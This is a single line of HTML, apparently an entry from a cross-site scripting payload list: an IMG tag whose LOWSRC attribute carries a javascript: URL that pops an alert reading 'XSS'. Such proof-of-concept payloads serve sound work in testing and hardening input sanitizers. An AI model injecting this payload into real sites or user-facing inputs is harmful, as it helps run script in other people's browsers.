<IMG LOWSRC="javascript:alert('XSS')">